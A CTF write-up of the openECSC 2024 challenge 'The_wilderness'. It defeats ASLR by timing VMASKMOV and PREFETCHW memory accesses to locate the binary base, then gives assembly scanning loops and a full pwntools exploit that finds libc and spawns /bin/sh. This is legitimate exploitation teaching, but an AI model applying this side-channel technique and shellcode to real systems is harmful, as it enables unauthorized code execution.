Overview
HEY YOU! Tired of the chaos caused by memory mappings landing just about anywhere?đ¤ Today, weâre turning the tables on ASLR with a WILD cache timing attack!
Challenge: The_wilderness (openECSC 2024 round 2) Attack Type: Timing memory accesses to leak binary base.
Introduction
This challenge is pretty straightforward, a new memory mapping is created at a fixed address and the userâs shellcode is readed into it. All registers are zeroed out, and the execution of the userâs code starts.
The shellcode can contain anything, with the sole exceptions being the syscall instructions (syscall, int 0x80, sysenter). Additionally, null bytes are not permitted, while not posing a problem, this is super annoying.
The challenge is executed through an emulator (intel sde64) with CET enabled.
The Big Plan
We have the freedom to write any shellcode, but to pop a shell, we need a syscall instruction, which can be found in the libc, hence, we need to leak it. Since all registers have been zeroed out, and the binary has PIE, we donât know where any mapping is.
The intended solution for the challenge involves using the shadow stack, but thatâs B O R I N G, and also relies on the fact that CET is enabled. Weâre going to take a cooler route instead: if we donât know where any mapping is, we just need to scan the entire memory until we find one!
But Wait, How Are We Going to Do That?
If we start randomly dereferencing pointers until we find a valid memory address, we would segfault on any invalid pointer, so thatâs not an option. However, there are two ways to check if an address is valid without segfaulting:
- System calls are designed to be safe: When a syscall is made, the kernel takes control and executes the requested operation. The kernel is responsible for ensuring that the syscall is executed safely and correctly. If the syscall encounters an error, the kernel will return an error code to the user space program, rather than causing a crash. This means that we can check if an address is valid by using syscalls such as read or write. If an invalid address is given to them, they will just return -1 and set errno to âEFAULTâ. So, it is possible to use these to scan memory until anything but an error is returned!
- Time Memory Access: There are two families of assembly instructions, that Iâm aware of, that can access invalid memory without crashing the program. These instructions wonât give us any direct error, but will take a different amount of time to execute based on whether the memory we are trying to access is cached or not. This can be exploited.
Since we cannot make any syscall, our only option is the second one!
Introducing: VMASKMOV and PREFETCHh
VMASKMOV
This is a family of assembly instructions used to load values into SIMD registers. Each instruction uses two operands in addition to the register to load:
- A register containing a bit mask.
- The memory location of the value to load. Since these registers can contain different data types, a bit mask is required to specify it. But hereâs the trick: if the bit mask is set to all 0s, no value will be loaded into the register, but the CPU will attempt to fetch it anyway! The result of this is that if an invalid pointer is used with a zeroed bit mask, no segfault will occur!
When i discovered that, i was blown away!𤯠Why is that even possible?! Who thought this was a good idea? Well, if you make possible to dereference any pointer without segfaulting, donât mind if i do! đ
PREFETCHh
This is a family of instructions used to move the specified pice of data from the RAM to the cache for optimization purposes. On invalid pointers, this family of instructions wonât cause a segfault either.
Memory Behavior
Since both instruction families need to retrieve a value from memory, the first thing done is to look into the cache. If the value is found there, there is no need to look further; otherwise, the RAM is searched. Both memory types of memory are really fast to access, however, accessing the former is significantly faster than the latter. Timing how much time an instruction takes to execute tells us whether the target value was found in the cache or if the RAM was searched.
Exploitation Strategy
We are going to exploit the fact that valid memory can be cached, while invalid memory, for obvious reasons, cannot. We will attempt to access each memory location twice. Depending on whether that location is valid memory or not, we would observe two different behaviors:
- Valid Memory: The memory could be cached or not. If it isnât, the CPU will cache it now. This ensures that on the second access, the memory will be cached and this access will be fast.
- Invalid Memory: In this case, the CPU will first search the cache and then the RAM.
The key takeaway is that on an invalid address, the RAM will always be searched, so the instruction will always take a longer time to execute.
CPU Speculation
Modern CPUs employ a technique known as speculative execution to enhance performance. This process involves the CPU making educated guesses about future instructions and executing them in advance. While this can boost efficiency, it can lead to unintended side effects in our context. Speculative execution can cause our timing measurements to be inaccurate, as the CPU might execute instructions ahead of time, impairing our ability to distinguish between valid and invalid memory based on execution time.
To mitigate this issue, we employ fence instructions. These instructions act as barriers that prevent the CPU from executing subsequent instructions until the previous ones have completed.
RDTSC
To measure time, we will directly use the processorâs timestamp. The rdtsc instruction will read this timestamp for us and store it in the RAX register.
Leaking the Binary Base with VMASKMOV
Now itâs time to roll up our sleeves and craft the exploit! In order to distinguish between valid and invalid memory, we need a threshold time.
To make our exploit portable, the optimal approach is to calculate this threshold during each execution. We do this by measuring the time it takes to access a valid memory address 1024 times and then calculating the average. Our threshold will be this value multiplied by 1.2 to provide some margin. Based on my measurements, accessing the RAM takes 6-7 times longer than accessing the cache (with lfence).
Our search will begin at the address 0x550000000000, since binaries are loaded above this address. Each step will be of 0x1000 bytes since memory mappings are aligned by that amount.
;mean time to access valid memory
xor r11,r11
mov rdi, 1024
.time:
rdtsc
mov rbp,rax
lfence
vmaskmovps ymm0, ymm0, [rip]
lfence
rdtsc
sub rax,rbp
add r11, rax
dec rdi
test rdi, rdi
jnz .time
shr r11, 10
;threshold = mean*1.2
imul r11,r11, 12
sar r11, 3
;search starting point
mov rdi, 0x550000000000
mov rsi, 0x1000
;test each memory address till the binary base is found
.find:
add rdi, rsi
vmaskmovps ymm0, ymm0, [rdi]
lfence
rdtsc
mov ebp,eax
vmaskmovps ymm0, ymm0, [rdi]
lfence
rdtsc
sub eax,ebp
cmp rax, r11
jge .find
;binary base in rdi!
Leaking the Binary Base with PREFETCH
The PREFETCH family of instructions behaves a bit differently compared to VMASKMOV. Based on my measurements, accessing an invalid memory address takes between 1.5 to 2 times as long as accessing a valid one using lfence. Interestingly, for certain invalid memory addresses, it could take even less time.
For this reason, we wonât use the formula mentioned above for the threshold. Instead, weâll calculate the average of 1024 valid memory accesses and add 0x05 to it. This will serve as our new threshold.
While mfence also works with VMASKMOV, I found that PREFETCH only works with lfence.
;mean time to access valid memory
xor r11,r11
mov rdi, 1024
.time:
rdtsc
mov ebp,eax
lfence
PREFETCHW [rip]
lfence
rdtsc
sub eax,ebp
add r11, rax
dec rdi
test rdi, rdi
jnz .time
shr r11, 10
;threshold = mean +0x5
add r11 , 0x05
;search starting point
mov rdi, 0x550000000000
mov rsi, 0x1000
;test each memory address till the binary base is found
.find:
add rdi, rsi
PREFETCHW [rdi]
lfence
rdtsc
mov ebp,eax
lfence
PREFETCHW [rdi]
lfence
rdtsc
sub eax,ebp
cmp rax, r11
jge .find
;binary base in rdi!
Conclusions and Final Exploit
I spent an entire week experimenting with this technique, striving to optimize it, and I must say, it was a thoroughly enjoyable process!đ Both PREFETCH and VMASKMOV proved to be highly effective, even though it took me several days to get PREFETCH to work. Both methods are reliable enough, making the same exploit work in more than 90% of cases, which is far more than I initially expected đ¤. After all, we are timing memory access, which could be influenced by a myriad of factors.
Iâll leave here the sources that aided me during this journey, as well as the final exploit used for the challenge. Since no null bytes were allowed in the shellcode, I had to get creative with bit shifting, which is why the code might look a bit convoluted.
Sources
https://amateurs.team/writeups/AmateursCTF-2023/perfect-sandbox https://www.felixcloutier.com/x86/vmaskmov https://www.felixcloutier.com/x86/prefetchh https://www.felixcloutier.com/x86/prefetchw https://www.felixcloutier.com/x86/rdtsc https://ieeexplore.ieee.org/document/9833692 https://pwn.college/software-exploitation/speculative-execution/
Final exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("./the_wilderness_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
context.binary = exe
DOCKER_PORT = 1337
REMOTE_NC_CMD = "nc thewilderness.challs.open.ecsc2024.it 38012" # `nc <host> <port>`
from pwnlib.tubes.tube import tube
tube.s = tube.send
tube.sa = tube.sendafter
tube.sl = tube.sendline
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
ELF.binsh = lambda self: next(self.search(b"/bin/sh\0"))
vleak = lambda valname, val: log.info(f"{valname}: 0x{val:x}")
chunks = lambda data, step: [data[i:i+step] for i in range(0, len(data), step)]
GDB_SCRIPT = """
"""
def conn():
if args.REMOTE:
return remote(REMOTE_NC_CMD.split()[1], int(REMOTE_NC_CMD.split()[2]))
if args.GDB:
return gdb.debug([exe.path], env={'dio':'cane'},gdbscript=GDB_SCRIPT, aslr = False)
if args.DOCKER:
return remote("localhost", DOCKER_PORT)
return process([exe.path])
def main():
io = conn()
payload = '''
endbr64
mov rsp,rax
//mean time to access valid memory
xor r11,r11
xor rdi, rdi
inc rdi
shl rdi, 10
.time:
rdtsc
mov ebp,eax
lfence
PREFETCHW [rsp]
lfence
rdtsc
sub eax,ebp
add r11, rax
dec rdi
test rdi, rdi
jnz .time
shr r11, 10
//threshold = mean +0x5
add r11, 0x5
//binary starting value
mov ch, 0x55
shl rcx, 32
mov rdi, rcx
inc rsi
shl rsi, 12
mov rdi, rcx
.find:
add rdi, rsi
PREFETCHW [rdi]
lfence
rdtsc
mov ebp,eax
lfence
PREFETCHW [rdi]
lfence
rdtsc
sub eax,ebp
cmp rax, r11
jge .find
//libc puts
mov bx, 0x3f90
add rdi, rbx
mov rsi, [rdi]
//libc base
mov bx, 0x80e5
shl rbx, 4
sub rsi, rbx
//libc syscall
xor rbx,rbx
mov bx, 0xa76d
shl rbx, 2
mov r10, rsi
add r10, rbx
//env
mov rdx, rsi
xor rsi, rsi
mov esi, 0xff222201
shr rsi,8
shl rsi,8*6
shr rsi,8*5
add rsi, rdx
//execve
xor rax,rax
mov al, 0x3b
mov rdx, [rsi]
xor rdi, rdi
xor rdi, 0xdead150
jmp r10
'''
payload = asm(payload).ljust(0x150, b'\x90') + b'/bin/sh'
io.sl(f'{len(payload)}'.encode())
log.info(f"payload: {payload.hex()}")
io.sl(payload)
io.sl("printenv")
io.interactive()
if __name__ == "__main__":
main()